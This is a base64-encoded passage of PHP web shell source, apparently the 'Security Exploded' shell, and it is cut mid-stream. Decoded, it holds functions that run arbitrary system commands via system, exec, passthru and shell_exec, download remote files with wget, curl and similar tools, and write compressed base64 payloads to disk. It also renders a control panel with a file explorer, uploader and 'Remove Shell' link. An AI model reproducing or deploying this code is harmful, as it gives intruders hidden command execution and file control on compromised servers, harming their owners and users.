dHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGwpKSwgLTQpLiJcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJDaG1vZFwiIHZhbHVlPVwiQ2htb2RcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJDYW5jZWxcIiB2YWx1ZT1cIkNhbmNlbFwiIG9uY2xpY2s9XCJ0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTInKTtcIiAvPjwvZm9ybT48L2NlbnRlcj48L3RkPgogICAgICAgIDx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRmdWxsKSkuIjwvdGQ+CiAgICAgICAgPHRkPjxhIGhyZWY9XCI/eT0kcHdkJmFtcDtlZGl0PSRmdWxsXCI+RWRpdDwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybScpO1wiPlJlbmFtZTwvYT4gfCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZGVsZXRlPSRmdWxsXCI+RGVsZXRlPC9hPiB8IDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkbD0kZnVsbFwiPkRvd25sb2FkPC9hPiZuYnNwOyg8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZGxnemlwPSRmdWxsXCI+R3o8L2E+KTwvdGQ+PC90cj4iOwogICAgfQogICAgJGJ1ZmYgLj0gIjwvdGFibGU+IjsKICAgIHJldHVybiAkYnVmZjsKfQoKZnVuY3Rpb24gdWt1cmFuKCRmaWxlKXsKICAgIGlmKCRzaXplID0gQGZpbGVzaXplKCRmaWxlKSl7CiAgICAgICAgaWYoJHNpemUgPD0gMTAyNCkgcmV0dXJuICRzaXplOwogICAgICAgIGVsc2V7CiAgICAgICAgICAgIGlmKCRzaXplIDw9IDEwMjQqMTAyNCkgewogICAgICAgICAgICAgICAgJHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0LDIpOzsKICAgICAgICAgICAgICAgIHJldHVybiAiJHNpemUga2IiOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgJHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0IC8gMTAyNCwyKTsKICAgICAgICAgICAgICAgIHJldHVybiAiJHNpemUgbWIiOyAgCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBlbHNlIHJldHVybiAiPz8/IjsKfQoKZnVuY3Rpb24gZXhlKCRjbWQpewogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgICAgIEBvYl9zdGFydCgpOwogICAgICAgIEBzeXN0ZW0oJGNtZCk7CiAgICAgICAgJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgQG9iX2VuZF9jbGVhbigpOwogICAgICAgIHJldHVybiAkYnVmZjsKICAgIH0KICAgIGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICAgIEBleGVjKCRjbWQsJHJlc3VsdHMpOwogICAgICAgICRidWZmID0gIiI7CiAgICAgICAgZm9yZWFjaCgkcmVzdWx0cyBhcyAkcmVzdWx0KXsKICAgICAgICAgICAgJGJ1ZmYgLj0gJHJlc3VsdDsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRidWZmOwogICAgfQogICAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgewogICAgICAgIEBvYl9zdGFydCgpOwogICAgICAgIEBwYXNzdGhydSgkY21kKTsKICAgICAgICAkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBAb2JfZW5kX2NsZWFuKCk7CiAgICAgICAgcmV0dXJuICRidWZmOwogICAgfQogICAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXsKICAgICAgICAkYnVmZiA9IEBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgIHJldHVybiAkYnVmZjsKICAgIH0KfQoKZnVuY3Rpb24gdHVsaXMoJGZpbGUsJHRleHQpewogICAgJHRleHR6ID0gZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJHRleHQpKTsKICAgICBpZigkZmlsZXogPSBAZm9wZW4oJGZpbGUsInciKSkKICAgICB7CiAgICAgICAgIEBmcHV0cygkZmlsZXosJHRleHR6KTsKICAgICAgICAgQGZjbG9zZSgkZmlsZSk7CiAgICAgfQp9CgpmdW5jdGlvbiBhbWJpbCgkbGluaywkZmlsZSkgeyAKICAgaWYoJGZwID0gQGZvcGVuKCRsaW5rLCJyIikpewogICAgICAgd2hpbGUoIWZlb2YoJGZwKSkgeyAKICAgICAgICAgICAgJGNvbnQuPSBAZnJlYWQoJGZwLDEwMjQpOyAKICAgICAgICB9IAogICAgICAgIEBmY2xvc2UoJGZwKTsgCiAgICAgICAkZnAyID0gQGZvcGVuKCRmaWxlLCJ3Iik7IAogICAgICAgQGZ3cml0ZSgkZnAyLCRjb250KTsgCiAgICAgICBAZmNsb3NlKCRmcDIpOyAKICAgfQp9CgpmdW5jdGlvbiB3aGljaCgkcHIpewogICAgJHBhdGggPSBleGUoIndoaWNoICRwciIpOwogICAgaWYoIWVtcHR5KCRwYXRoKSkgeyByZXR1cm4gdHJpbSgkcGF0aCk7IH0gZWxzZSB7IHJldHVybiB0cmltKCRwcik7IH0KfQoKZnVuY3Rpb24gZG93bmxvYWQoJGNtZCwkdXJsKXsKICAgICRuYW1hZmlsZSA9IGJhc2VuYW1lKCR1cmwpOwogICAgc3dpdGNoKCRjbWQpIHsKICAgICAgICBjYXNlICd3d2dldCc6IGV4ZSh3aGljaCgnd2dldCcpLiIgIi4kdXJsLiIgLU8gIi4kbmFtYWZpbGUpO2JyZWFrOwogICAgICAgIGNhc2UgJ3dseW54JzogZXhlKHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJHVybC4iID4gIi4kbmFtYWZpbGUpO2JyZWFrOwogICAgICAgIGNhc2UgJ3dmcmVhZCcgOiBhbWJpbCgkd3VybCwkbmFtYWZpbGUpO2JyZWFrOwogICAgICAgIGNhc2UgJ3dmZXRjaCcgOiBleGUod2hpY2goJ2ZldGNoJykuIiAtbyAiLiRuYW1hZmlsZS4iIC1wICIuJHVybCk7YnJlYWs7CiAgICAgICAgY2FzZSAnd2xpbmtzJyA6IGV4ZSh3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7CiAgICAgICAgY2FzZSAnd2dldCcgOiBleGUod2hpY2goJ0dFVCcpLiIgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7CiAgICAgICAgY2FzZSAnd2N1cmwnIDogZXhlKHdoaWNoKCdjdXJsJykuIiAiLiR1cmwuIiAtbyAiLiRuYW1hZmlsZSk7YnJlYWs7CiAgICAgICAgZGVmYXVsdDogYnJlYWs7CiAgICB9CiAgICByZXR1cm4gJG5hbWFmaWxlOwp9CgpmdW5jdGlvbiBnZXRfcGVybXMoJGZpbGUpCnsKICAgIGlmKCRtb2RlPUBmaWxlcGVybXMoJGZpbGUpKXsKICAgICAgICAkcGVybXM9Jyc7CiAgICAgICAgJHBlcm1zIC49ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsKICAgICAgICAkcGVybXMgLj0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOwogICAgICAgICRwZXJtcyAuPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7CiAgICAgICAgJHBlcm1zIC49ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6ICctJzsKICAgICAgICAkcGVybXMgLj0gKCRtb2RlICYgMDAwMjApID8gJ3cnIDogJy0nOwogICAgICAgICRwZXJtcyAuPSAoJG1vZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7CiAgICAgICAgJHBlcm1zIC49ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsKICAgICAgICAkcGVybXMgLj0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOwogICAgICAgICRwZXJtcyAuPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7CiAgICAgICAgcmV0dXJuICRwZXJtczsKICAgIH0KICAgIGVsc2UgcmV0dXJuICI/Pz8/Pz8/Pz8/IjsKfQoKZnVuY3Rpb24gY2xlYXJzcGFjZSgkdGV4dCl7CiAgICByZXR1cm4gc3RyX3JlcGxhY2UoIiAiLCJfIiwkdGV4dCk7Cn0KCgo/Pgo8aHRtbD48aGVhZD48bGluayByZWw9IlNIT1JUQ1VUIElDT04iIGhyZWY9Imh0dHA6Ly9vaTU4LnRpbnlwaWMuY29tLzEwcjMzbXEuanBnIj48dGl0bGU+PD89JHRpdGxlID8+IDw/PSR2ZXJzaSA/PjwvdGl0bGU+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gdHVrYXIobGFtYSxiYXJ1KXsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGxhbWEpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChiYXJ1KS5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzsKfQo8L3NjcmlwdD48c3R5bGUgdHlwZT0idGV4dC9jc3MiPmJvZHksIGE6aG92ZXIge2N1cnNvcjogdXJsKGh0dHA6Ly9jdXIuY3Vyc29ycy00dS5uZXQvY3Vyc29ycy9jdXItMTEvY3VyMTA0OC5jdXIpLCBwcm9ncmVzcyAhaW1wb3J0YW50O308L3N0eWxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHsgYmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmFuO2JhY2tncm91bmQ6IzAwMDtiYWNrZ3JvdW5kLWltYWdlOiB1cmwoIjw/PSRiYWNrZ3JvdW5kOyA/PiIpO2JhY2tncm91bmQtcG9zaXRpb246IGNlbnRlcjsgICAgYmFja2dyb3VuZC1hdHRhY2htZW50OiBmaXhlZDtiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0OyB9IAphIHt0ZXh0LWRlY29yYXRpb246bm9uZTsKfQphOmhvdmVyewpib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMDBmZjAwOyAKfQoqewogICAgZm9udC1zaXplOjExcHg7CiAgICBmb250LWZhbWlseTpUYWhvbWEsVmVyZGFuYSxBcmlhbDsKICAgIGNvbG9yOjw/PSRjb2xvcjsgPz47Cn0KI21lbnV7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyYW47CiAgICBtYXJnaW46OHB4IDJweCA0cHggMnB4Owp9CgojbWVudSBhewogICAgcGFkZGluZzo0cHggMThweDsKICAgIG1hcmdpbjowOwogICAgYmFja2dyb3VuZDojMjIyMjIyOwogICAgdGV4dC1kZWNvcmF0aW9uOm5vbmU7CiAgICBsZXR0ZXItc3BhY2luZzoycHg7CiAgICAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93LXdlYmtpdC1ib3JkZXItcmFkaXVzOiA1cHg7IC1raHRtbC1ib3JkZXItcmFkaXVzOiA1cHg7IGJvcmRlci1yYWRpdXM6IDVweDsKfQojbWVudSBhOmhvdmVyewogICAgYmFja2dyb3VuZDojMTkxOTE5OwogICAgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMzsKICAgIGJvcmRlci10b3A6MXB4IHNvbGlkICMzMzMzMzM7Cn0KCi50YWJuZXR7CiAgICBtYXJnaW46MTVweCBhdXRvIDAgYXV0bzsKICAgIGJvcmRlcjogMXB4IHNvbGlkICMzMzMzMzM7CiAgICBjb2xvcjogI0ZGQ0MwMDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDt9IAoubXN1cGlhbml7IGZvbnQtZmFtaWx5OlZpdmFsZGk7Zm9udC1zaXplOjUwcHg7Y29sb3I6ICMwMEZGMDA7fQoudGFibmV0ewogICAgbWFyZ2luOjE1cHggYXV0byAwIGF1dG87CiAgICBib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5tYWluIHsKICAgIHdpZHRoOjEwMCU7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmdheWEgewogICAgY29sb3I6ICRjb2xvcjsKfQouaW5wdXR6ewogICAgYmFja2dyb3VuZDojMTExMTExOwogICAgYm9yZGVyOjA7CiAgICBwYWRkaW5nOjJweDsKICAgIGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMyMjIyMjI7CiAgICBib3JkZXItdG9wOjFweCBzb2xpZCAjMjIyMjIyOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9IAouaW5wdXR6YnV0ewogICAgYmFja2dyb3VuZDojMTExMTExOwogICAgY29sb3I6PD89JGNvbG9yOyA/PjsKICAgIG1hcmdpbjowIDRweDsKICAgIGJvcmRlcjoxcHggc29saWQgIzQ0NDQ0NDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKCn0KLmlucHV0ejpob3ZlciwgLmlucHV0emJ1dDpob3ZlcnsKICAgIGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMGZmMDA7CiAgICBib3JkZXItdG9wOjFweCBzb2xpZCAjMDBmZjAwOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5vdXRwdXQgewogICAgbWFyZ2luOmF1dG87CiAgICBib3JkZXI6MXB4IHNvbGlkIDw/PSRjb2xvcjsgPz47CiAgICB3aWR0aDoxMDAlOwogICAgaGVpZ2h0OjQwMHB4OwogICAgYmFja2dyb3VuZDojMDAwMDAwOwogICAgcGFkZGluZzowIDJweDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQouY21kYm94ewogICAgd2lkdGg6MTAwJTsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQouaGVhZF9pbmZveyAKICAgIHBhZGRpbmc6IDAgNHB4OyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9IAouZXhwbG9kZWR7CiAgICBmb250LXNpemU6MzBweDsKICAgIHBhZGRpbmc6MDsKICAgIGNvbG9yOiM0NDQ0NDQ7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmV4cGxvZGVkX3RibHsKICAgIHRleHQtYWxpZ246Y2VudGVyOwogICAgbWFyZ2luOjAgNHB4IDAgMDsKICAgIHBhZGRpbmc6MCA0cHggMCAwOwogICAgYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMzMzMzMzOwp9Ci5waHBpbmZvIHRhYmxlewogICAgd2lkdGg6MTAwJTsKICAgIHBhZGRpbmc6MCAwIDAgMDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQoucGhwaW5mbyB0ZHsKICAgIGJhY2tncm91bmQ6IzExMTExMTsKICAgIGNvbG9yOiNjY2NjY2M7CnBhZGRpbmc6NnB4IDhweDs7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLnBocGluZm8gdGgsIHRoewogICAgYmFja2dyb3VuZDojMTkxOTE5OwogICAgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMzsKZm9udC13ZWlnaHQ6bm9ybWFsOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5waHBpbmZvIGgyLCAucGhwaW5mbyBoMiBhewogICAgdGV4dC1hbGlnbjpjZW50ZXI7CiAgICBmb250LXNpemU6MTZweDsKICAgIHBhZGRpbmc6MDsKICAgIG1hcmdpbjozMHB4IDAgMCAwOwogICAgYmFja2dyb3VuZDojMjIyMjIyOwogICAgcGFkZGluZzo0cHggMDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQouZXhwbG9yZXsKd2lkdGg6MTAwJTsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQouZXhwbG9yZSBhIHsKdGV4dC1kZWNvcmF0aW9uOm5vbmU7Cn0KLmV4cGxvcmUgdGR7CmJvcmRlci1ib3R0b206MXB4IHNvbGlkICMzMzMzMzM7CnBhZGRpbmc6MCA4cHg7CmxpbmUtaGVpZ2h0OjI0cHg7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmV4cGxvcmUgdGh7CnBhZGRpbmc6M3B4IDhweDsKZm9udC13ZWlnaHQ6bm9ybWFsOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5leHBsb3JlIHRoOmhvdmVyICwgLnBocGluZm8gdGg6aG92ZXJ7CmJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMGZmMDA7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmV4cGxvcmUgdHI6aG92ZXJ7CmJhY2tncm91bmQ6IzExMTExMTsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQoudmlld2ZpbGV7CmJhY2tncm91bmQ6I0VERUNFQjsKY29sb3I6IzAwMDAwMDsKbWFyZ2luOjRweCAycHg7CnBhZGRpbmc6OHB4OyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5zZW1idW55aXsKZGlzcGxheTpub25lOwpwYWRkaW5nOjA7bWFyZ2luOjA7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmpheWF7IG1hcmdpbjo1cHg7IHRleHQtYWxpZ246cmlnaHQ7IDw/PSRjb2xvcjsgPz47fQouZm9vdGVyeyBiYWNrZ3JvdW5kOiMxMTExMTE7IHdpZHRoOjk5JTsgcGFkZGluZzo1cHg7IG1hcmdpbjoxMHB4IGF1dG8gNXB4OyB0ZXh0LWFsaWduOmNlbnRlcjsgZm9udC1zaXplOjEzcHg7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7IH0gCi5mb290ZXIgYXsgZm9udC1zaXplOjE0cHg7IH0KLmZvb3RlciBzcGFueyBmb250LXNpemU6MTRweDt9Cjwvc3R5bGU+PC9oZWFkPgoKPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY21kJykuZm9jdXMoKTsiPgo8IS0tIGxvZ291dCBzdGFydCBoZXJlIC0tPgo8ZGl2IGlkPSJtZW51Ij48c3BhbiBzdHlsZT0nZmxvYXQ6cmlnaHQ7Jz48YnI+Cjw/PSJUaW1lIE9uIFNlcnZlciA6IDxiPiAiLmRhdGUoImQgTSBZIEg6aTpzIix0aW1lKCkpLiI8L2I+IjsgPz4gPGJyPjxicj4gJm5ic3AgJm5ic3AgICZuYnNwICZuYnNwIAo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1raWxsIiB0aXRsZT0nUmVtb3ZlIFNoZWxsJz5SZW1vdmU8L2E+CiB8IAo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1sb2dvdXQiIHRpdGxlPSdMb2dvdXQnPkxvZ291dDwvYT4gJm5ic3AgJm5ic3AgJm5ic3AgPGJyPjxicj4KJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgPGEgaHJlZj0iPzw/PSJ5PSIuJHB3ZDsgPz4mYW1wO3g9YWJvdXQiICB0aXRsZT0nQWJvdXQgQXV0aG9yJz5BYm91dDwvYT4KPC9zcGFuPjwvZGl2Pgo8IS0tIGxvZ291dCBlbmQgaGVyZSAtLT4KPGRpdiBjbGFzcz0ibWFpbiI+CjwhLS0gaGVhZCBpbmZvIHN0YXJ0IGhlcmUgLS0+CjxkaXYgY2xhc3M9ImhlYWRfaW5mbyI+Cjx0YWJsZT48dHI+Cjx0ZD48dGFibGUgY2xhc3M9ImlucHV0eiI+PHRyPjx0ZD48YSBocmVmPSIiIHRhcmdldD0iYmxhbmsiIG9uQ2xpY2s9ImxvY2F0aW9uLnJlbG9hZCgpOyI+PHNwYW4gY2xhc3M9IkYwa3U1Ij48aW1nIHNyYz0nPD89JGxvZ287ID8+JyB0aXRsZT0iU2VjdXJpdHkgRXhwbG9kZWQiIHdpZHRoPSIxNTAiIGhlaWdodD0iMTUwIj48L3NwYW4+PC9zcGFuPjwvYT48L3RkPjwvdHI+PHRyPjx0ZD4KPGEgaHJlZj0iaHR0cDovL3R3aXR0ZXIuY29tL1BvcnQyMl9FeHBsb2RlZCIgY2xhc3M9InR3aXR0ZXItZm9sbG93LWJ1dHRvbiIgZGF0YS1zaG93LWNvdW50PSJmYWxzZSI+ICAgIEZvbGxvdyBAUG9ydDIyX0V4cGxvZGVkPC9hPgo8c2NyaXB0PiFmdW5jdGlvbihkLHMsaWQpe3ZhciBqcyxmanM9ZC5nZXRFbGVtZW50c0J5VGFnTmFtZShzKVswXSxwPS9eaHR0cDovLnRlc3QoZC5sb2NhdGlvbik/J2h0dHAnOidodHRwJztpZighZC5nZXRFbGVtZW50QnlJZChpZCkpe2pzPWQuY3JlYXRlRWxlbWVudChzKTtqcy5pZD1pZDtqcy5zcmM9cCsnOi8vcGxhdGZvcm0udHdpdHRlci5jb20vd2lkZ2V0cy5qcyc7ZmpzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGpzLGZqcyk7fX0oZG9jdW1lbnQsICdzY3JpcHQnLCAndHdpdHRlci13anMnKTs8L3NjcmlwdD48L3RkPjwvdHI+PC90YWJsZT48L3RkPgo8dGQ+PD89JGJ1ZmY7ID8+PC90ZD4KPC90cj48L3RhYmxlPjwvZGl2Pgo8IS0tIGhlYWQgaW5mbyBlbmQgaGVyZSAtLT4KPCEtLSBtZW51IHN0YXJ0IC0tPjxicj4KPGNlbnRlcj48ZGl2IGlkPSJtZW51Ij4KPGEgaHJlZj0iPyI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFOMWdBQURkWUJrRzk1bkFBQUFBZDBTVTFGQjlvSkJ4UTJHUm51L1RnQUFBSnpTVVJCVkRqTHRaTFBTeHRCSE1YZjVzZW1aRGZTN0twSWFXelJTaG9GRDVVSzloNmFpNWVDUGZaa3dZSjRrRjU2NmEzMEgwZ0YyNEJVcURkakJUMVZDRklzTkJVV0V3K2hhMm9icERHVVhHUjFaN0taK2ZiUVJreTF2ZlVMQXpQRDQvTWVNdy80SDdPNnVnb0FzRzE3dEZ3dUp3RmdkM2YzUXEzeU4wZytuNytyNi9vS2dFdFFNRFdZR0h4NWtjNTM5ckM0dUFnQTJIeS9PYUdxNm9wbFdhVmNMbWR4eGw5WWx2VUVBTGEydHY2ZFlHUGpYU29TNmNoV0twV0thWnBkb1ZCSUw1VksrME5EUS8xRU5EMDJOalovTHNIYzNCd0FZRzF0YlNJWVZMT0ZRdUd6cG1sZGdVREFrRktxdmIyOTE3YTN0MjNHV0RxWHl6MEJnUFgxOWZZRXk4dkxLVjNYc3djSEJ4WERNTG9pa1lnaHBhUlcwa2Fqd2ZiSzVXODM0L0YrQU5PcFZHcitGTEMwdEhSZjAvVFgrL3RmN0o2ZW5pdWFwcGtBNkl3QnRTQzJiWDlOSkJJRFJQVDA1T1RrdVRMMWFLcGo5UGJveDFxdGRtZ1l4bFhUTkc4UUVWM3dQZ1JBY1YyM2JsbFdmbVJrWk5oMTNWdUtwbW5CdnI2K08xTEsyc3pNek50d09CeHZpWVVRVUJRRlBwK3ZCWUNVOGpDVHlhU09qNDh2QS9odzZqSStQaDVKSnBPZnd1RnduSWpBR0tzdkxDdzhjeHhIVEU0K2ZHd1kwUmdSZ1lpK080NHpQRHM3VzIvcmdldTZDbU1NakRGd3ppR0UrSkZJSkY1VnE5Vk1zK2tkY3M3Qk9RZGpERWRIUjZmR2dkWkdDQUhPT2Z4K1A0Z0lRZ2daalVhcHM5T2tScU5CakRIUXIxRTh6OE01UUxWYWhlTTRUWi9mQnhEUWJEWlZ6L01nSllGekhsUlZGVVJRbXMyR3FOZnI0cUltK21PeDJMM3U3dTVoS1NWQ0lYVlBTdkdtc0ZOVUJ1THhCOEZBNERvQWVKNjNVeXdXc3dCazJ4K2wwK2tXMFA5N0tYODB0blhmTmo4QjVORTVET01WMlQwQUFBQUFTVVZPUks1Q1lJST0nIGhlaWdodD0iMTgiIHdpZHRoPSIzNCIgdGl0bGU9J0hvbWUgJz48L2E+CjxhIGhyZWY9Ij88Pz0ieT0iLiRwd2Q7ID8+IiB0aXRsZT0nRmlsZSBFeHBsb3Jlcic+RmlsZXM8L2E+CjxhIGhyZWY9Ij88Pz0ieT0iLiRwd2Q7ID8+JmFtcDt4PXVwbG9hZCIgdGl0bGU9J1VwbG9hZCBGaWxlJz5VcGxvYWRlcjwvYT4KPGEgaHJlZj0iPzw/PSJ5PSIu